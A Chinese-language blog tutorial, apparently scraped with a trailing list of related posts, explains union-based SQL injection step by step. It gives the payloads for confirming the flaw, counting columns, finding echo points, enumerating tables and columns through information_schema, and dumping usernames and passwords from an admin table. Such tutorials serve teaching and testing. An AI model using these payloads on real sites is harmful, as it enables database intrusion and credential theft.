sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作。

sql注入漏洞产生满足条件:

1;用户能够控制数据的输入。

2;原本需要执行的代码,拼接了用户的输入。

举例:

攻击流程:

1;判断是否存在sql注入漏洞。

2;判断网页存在字段数。

3;判断回显点。

4;获取信息。

测试开始:

测试目标获取管理员账号密码

一;判断是否存在sql注入漏洞。

1.1;构建sql语句:?id=1 and 1=2 查看页面是否正常。结果页面显示不正常。

注释:因为id=1为真(可正常访问页面),且1=2为假,所以and条件永远不会成立。对于web应用不会返回结果给用户。则攻击者能看到的是一个错误的界面或者页面结果为空。当然,如果攻击者构造的请求异常,也会导致页面访问不正常。

1.2;构建新的sql语句,确定是否存在语句逻辑错误导致页面不正常。?id=1 and 1=1 结果页面正常,初步判断存在sql漏洞。

注释:1=1 为真,and条件语句成立。

二;判断字段数:

2.1;构建sql语句:?id=1 and 1=1 order by 1 判断网页是否正常。?id=1 and 1=1 order by 2 判断网页是否正常。?id=1 and 1=1 order by 3 判断网页是否正常。结果:?id=1 and 1=1 order by 3 网页显示不正常,可以判断字段数为2

注释:order by 语句用来根据指定的列对结果集进行排序。详细请参考网址:http://www.w3school.com.cn/sql/sql_orderby.asp “order by 1”表示对第一栏位进行排序,

三;判断回显点:构建sql语句:?id=1 and 1=2 union select 1,2 (之后的查询结果将显示在下图红框位置)

注释:union 操作符用于合并两个或多个select语句的结果集,union内部的select语句必须拥有相同数量的列。详细参考:http://www.w3school.com.cn/sql/sql_union.asp

四; 获取信息

4.1;查看当前数据库名以及数据库版本。构建sql语句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()

注释:union select 1 ,database(),其中数字1占一列,凑数,用来满足union定义。database():表示网站使用的数据库,version():表示当前mysql的版本,usr():当前mysql的用户。

4.2;查询当前数据库以及表名称。构建sql语句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

注释:information_schema数据库用于存储数据库元数据,例如:数据库名,表名,列的数据类型,访问权限等。tables用来存储数据库中的表的信息,包括表属于哪个数据库,表的类型,存储引擎,创建时间等。table_schema和table_schema是表tables中的数据库库名和表名。limit 0,1 表示第一行显示一行数据。limit 1,1表示第二行显示一行数据。

4.3;查询表admin中的字段名。查询三个字段:ID username  password

构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

注释:columns表存储表中的列的信息。其中包含数据库库名table_schema,表名table_name ,字段名column_name。

4.4;查询用户名称:?id=1 and 1=2 union select 1,username from admin

4.5;查询密码:?id=1 and 1=2 union select 1,password from admin

mysql数据库sql注入原理_SQL注入原理解析以及举例1相关推荐

  1. mysql oracle mvcc_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式

    PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...

  2. oracle与mysql执行sql原理_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式

    PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...

  3. 统一javaweb项目和mysql数据库时间UTC时间方法及原理

    统一javaweb项目和mysql数据库时间UTC时间方法及原理 文章目录 统一javaweb项目和mysql数据库时间UTC时间方法及原理 前言 UTC时间与 GMT时间 时间戳和时区 mysql时 ...

  4. mysql jdbc 绑定变量_jdbc测试mysql数据库sql预解析(绑定变量)

    jdbc测试mysql数据库sql预解析(绑定变量) 用习惯了oracle,学习mysql,想测试一下mysql绑定变量的效果.以前看网上介绍大部份都说mysql没有sql共享池的概念,所以也不存在s ...

  5. MySQL数据库SQL层级优化

    MySQL数据库SQL层级优化 本篇主涉及MySQL SQL Statements层面的优化. 首先,推荐一个链接为万物之始:http://dev.mysql.com/doc/refman/5.0/e ...

  6. mysql数据库电脑配置_教你怎样正确配置MySQL数据库SQL Mail -电脑资料

    本文用个人经历来讲解SQL Mail的配置与使用, 用SQL Mail主要是要完成这样的功能: >用户在网上注册后,系统将随机产生的密码发送到用户登记的Email. >用户在论坛的帖子有回 ...

  7. 简单MySQL数据库SQL文件

    简单MySQL数据库SQL文件 Book数据库表范例+记录 /* Navicat MySQL Data TransferSource Server : pig Source Server Versio ...

  8. mysql hy000 1030_解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine...

    解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine MySQL数据库报以下错误: ERROR 22-0 ...

  9. 资源放送丨《Oracle数据库SQL执行计划的取得和解析》PPT视频

    前段时间,墨天轮邀请Oracle优化方面的资深专家 陈晓辉 老师分享了<Oracle数据库SQL执行计划的取得和解析>,在这里我们共享一下PPT和视频,供大家参考学习. Oracle优化资 ...

  10. 2场直播丨Oracle数据库SQL执行计划的取得和解析、一次特殊的 Oralce 硬解析性能问题的技术分享...

    1. Oracle数据库SQL执行计划的取得和解析- 2021.02.23 2月23日(周二)晚八点直播课,Oracle优化资深专家陈晓辉,以专业ORACLE数据库技术支持工程师的角度讲解SQL文的执 ...

最新文章

  1. CUDA Samples: Streams' usage
  2. Python加密—RSA加密
  3. Bootloader的基本概念
  4. tomcat安装部署
  5. 操作系统原理:全局页面置换算法、工作集页置换、常驻集页置换、抖动问题
  6. PHP中如何配置smarty框架实现PHP代码和HTML代码分离
  7. aop实现原理_SpringAOP原理分析
  8. 优酷视频如何分享个人主页
  9. JAVA的字符串拼接与性能
  10. linux6 rac 11g,oracle linux 6.操作系统oracle 11g rac
  11. 浙大远程教c语言在线作业答案,浙大远程教育_会计算化_在线作业答案.docx
  12. LinkedIn应用开发系列(三) --认证Request token
  13. SwitchResX for Mac(屏幕分辨率修改工具)
  14. CDA LEVELII考试内容记录学习--目录篇
  15. linux flash 存储寿命,关于 Flash 存储,你应该知道的一些事情
  16. 华为牛人的十年工作感悟
  17. 获取文件名,文件名后缀以及elementui多张图片回显
  18. 【论文速览】PV-RCNN: Point-Voxel Feature Set Abstraction for 3D Object Detection
  19. plt.contour
  20. 鸡兔同笼python程序怎么写_【鸡】鸡的功效_鸡图片_食材百科_美食杰

热门文章

  1. centOS docker容器的安装
  2. matlab里用fix函数,Matlab基本函数-fix函数
  3. C语言 define 防止头文件重复包含 - C语言零基础入门教程
  4. 本地创建分支push到github
  5. linux查看发起ddos攻击的ip,在Linux上使用netstat命令查证DDOS攻击的方法
  6. math python 向上取整_计算机等级考试二级Python语言模拟试卷单选解答详解第1期...
  7. matlab里inline定义矩阵,Matlab中的inline函数_matlab中inline函数
  8. oracle裁员原因_Oracle大幅度裁员意味着什么?
  9. leetcode 贪心_利用贪心算法解LeetCode第1253题:重构2行二进制矩阵
  10. html标记的索引,基于HTML标记分析及中文切词的网页索引研究与实现